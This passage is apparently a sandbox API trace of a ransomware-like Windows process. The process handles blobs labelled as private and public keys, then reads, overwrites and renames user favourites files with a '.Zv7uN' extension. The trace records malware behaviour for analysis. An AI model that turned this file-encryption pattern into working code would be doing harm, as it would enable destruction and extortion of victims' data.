mMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.147] GetCurrentThreadId () returned 0xa30 [0126.147] GetCurrentThreadId () returned 0xa30 [0126.147] GetCurrentThreadId () returned 0xa30 [0126.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.148] GetCurrentThreadId () returned 0xa30 [0126.148] GetCurrentThreadId () returned 0xa30 [0126.148] GetCurrentThreadId () returned 0xa30 [0126.148] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.148] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.148] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.149] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.149] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.149] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.152] CloseHandle (hObject=0x1e8) returned 1 [0126.152] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.154] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.156] CloseHandle (hObject=0x1e8) returned 1 [0126.156] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url.zv7un")) returned 1 [0126.157] GetCurrentThreadId () returned 0xa30 [0126.157] GetCurrentThreadId () returned 0xa30 [0126.157] GetCurrentThreadId () returned 0xa30 [0126.157] GetCurrentThreadId () returned 0xa30 [0126.157] GetCurrentThreadId () returned 0xa30 [0126.157] GetCurrentThreadId () returned 0xa30 [0126.157] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0126.157] GetLastError () returned 0x12 [0126.157] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0126.157] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5fd93a60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fd93a60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0126.158] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0126.158] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.158] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5fd93a60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5fd93a60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.158] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.158] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.158] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fcd5380, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Autos.url.Zv7uN", cAlternateFileName="MSNAUT~1.ZV7")) returned 1 [0126.158] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.158] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.158] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fcfb4e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Entertainment.url.Zv7uN", cAlternateFileName="MSNENT~1.ZV7")) returned 1 [0126.158] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.158] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.158] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fd21640, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Money.url.Zv7uN", cAlternateFileName="MSNMON~1.ZV7")) returned 1 [0126.158] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.158] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.158] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fd477a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Sports.url.Zv7uN", cAlternateFileName="MSNSPO~1.ZV7")) returned 1 [0126.159] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.159] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.159] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fd6d900, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN.url.Zv7uN", cAlternateFileName="MSNURL~1.ZV7")) returned 1 [0126.159] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.159] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.159] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fd93a60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSNBC News.url.Zv7uN", cAlternateFileName="MSNBCN~1.ZV7")) returned 1 [0126.159] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.159] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.159] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5fd93a60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSNBC News.url.Zv7uN", cAlternateFileName="MSNBCN~1.ZV7")) returned 0 [0126.159] GetLastError () returned 0x12 [0126.159] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0126.159] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x66000066, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0126.159] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0126.159] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0126.160] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0126.243] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.243] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0126.243] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0126.243] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.245] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url")) returned 0x20 [0126.245] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url", dwFileAttributes=0x80) returned 1 [0126.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 